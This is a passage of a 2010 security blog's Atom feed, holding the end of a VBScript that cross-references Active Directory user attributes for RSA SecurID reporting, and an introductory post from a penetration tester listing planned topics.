pre;"&gt;   &lt;/span&gt;strOU = RegExDN.Replace(strOU,"")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;regExDN.Pattern = "OU="&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;strOU = RegExDN.Replace(strOU,"")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;CountryOU= strOU&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;end if&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;company = rs("Company").Value&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;department = rs("Department").Value&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;office = &amp;nbsp;rs("physicalDeliveryOfficeName").Value&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;office = replace(office,","," ")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;company = replace(company,","," ")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;department = replace(department,","," ")&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;UAC= rs("userAccountControl").Value&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;mail = rs("mail").Value&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;If UAC=514 then&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;objUser.Add "Status", "Disabled"&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;Else&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;objUser.Add "Status", "Enabled"&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;End if&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;objUser.Add "DN", strDN&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;objUser.Add "Email", mail&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;objUser.Add "Country" , CountryOU&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;objUser.Add "Office" , office&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;objUser.Add "Company", company&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;objUser.Add "Department", department&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;If (rs("extensionAttribute7")="Information Technology") then&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;objUser.Add "IsIT", "TRUE"&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;else&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;objUser.Add "IsIT", "FALSE"&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;end if&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;Set Query= objUser&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Else&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;'Wscript.echo "Username not found"&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;objUser.Add "Abort", "Username not found"&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;Set Query= objUser&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;End if&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div&gt;End Function&lt;/div&gt;&lt;div&gt;-----------------------------------------------------------------------------------------------------------&lt;/div&gt;&lt;br /&gt;This is probably version 5 or 6 at this point. I've made adjustments to add data, and added the dictionary objects so that it can keep track of the users it's already looked up. While this adds to the memory requirements of the script, it causes a huge increase in the speed with which it runs, because it is not making repeat queries to the DC.&lt;br /&gt;&lt;br /&gt;P.S. Also note that the script directly calls Excel to handle it's parsing, so it will not work if MS Excel is not installed on the machine. You could very easily write something like this in Perl that did all the parsing itself, but at the time, I was constrained by the environment I was working in. Enjoy&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-79897977516842962?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/79897977516842962/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2010/02/rsa-securid-active-directory-cross.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/79897977516842962'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/79897977516842962'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2010/02/rsa-securid-active-directory-cross.html' title='RSA SecurID - Active Directory Cross-Reference Script'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-8647284677846884487</id><published>2010-02-23T12:57:00.000-08:00</published><updated>2010-02-25T12:31:06.607-08:00</updated><title type='text'>Oh no, another Security Blog!</title><content type='html'>Yes, it's true. I have created another security blog, to add my voice to the screaming masses of wannabe-pontiffs in the Web 2.0 Universe. Will anyone read this, probably not, but I hope that perhaps somebody will stumble across this and take an interest in the things I have to say. &lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Why you should listen to me: you probably shouldn't, but I am an Information Security professional who specializes in vulnerability assessment and penetration testing.  I will be using this blog as an outlet for my observations on Information Security, techniques and tricks I have learned, and general ramblings abound.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Stay tuned for some of the following planned postings:&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;TLC vs the Google Mini 2 - Cracking the Case and installing Debian on a Google Mini Search appliance.&lt;/li&gt;&lt;li&gt;Lipstick on a Pig - Why I am not impressed by your "Web Vulnerability Scanner"&lt;/li&gt;&lt;li&gt;A Tenable Position - Why Nessus could easily be enough&lt;/li&gt;&lt;li&gt;I don't know why you say 403, I say 200 - How always returning a 200 OK server response for login requests can defeat skiddie bruteforcers&lt;/li&gt;&lt;li&gt;Knocking over the LAMP Part I (LFI) - Part I of a look at web vulnerabilities specifically dealing with Linux Apache,MySql, and PHP servers. Part I looks at how Local File inclusion can turn from data leakage to remote execute in just a few minutes.&lt;/li&gt;&lt;li&gt;Get outta my Face...book - Why Social Networking Sites may be one of the worst things to ever happen to the Internet&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;I had one or two more I had already considered writing, but I unfortunately didn't write them down....&amp;lt;  /irony&amp;gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-8647284677846884487?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/8647284677846884487/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2010/02/oh-no-another-security-blog.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/8647284677846884487'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/8647284677846884487'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2010/02/oh-no-another-security-blog.html' title='Oh no, another Security Blog!'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
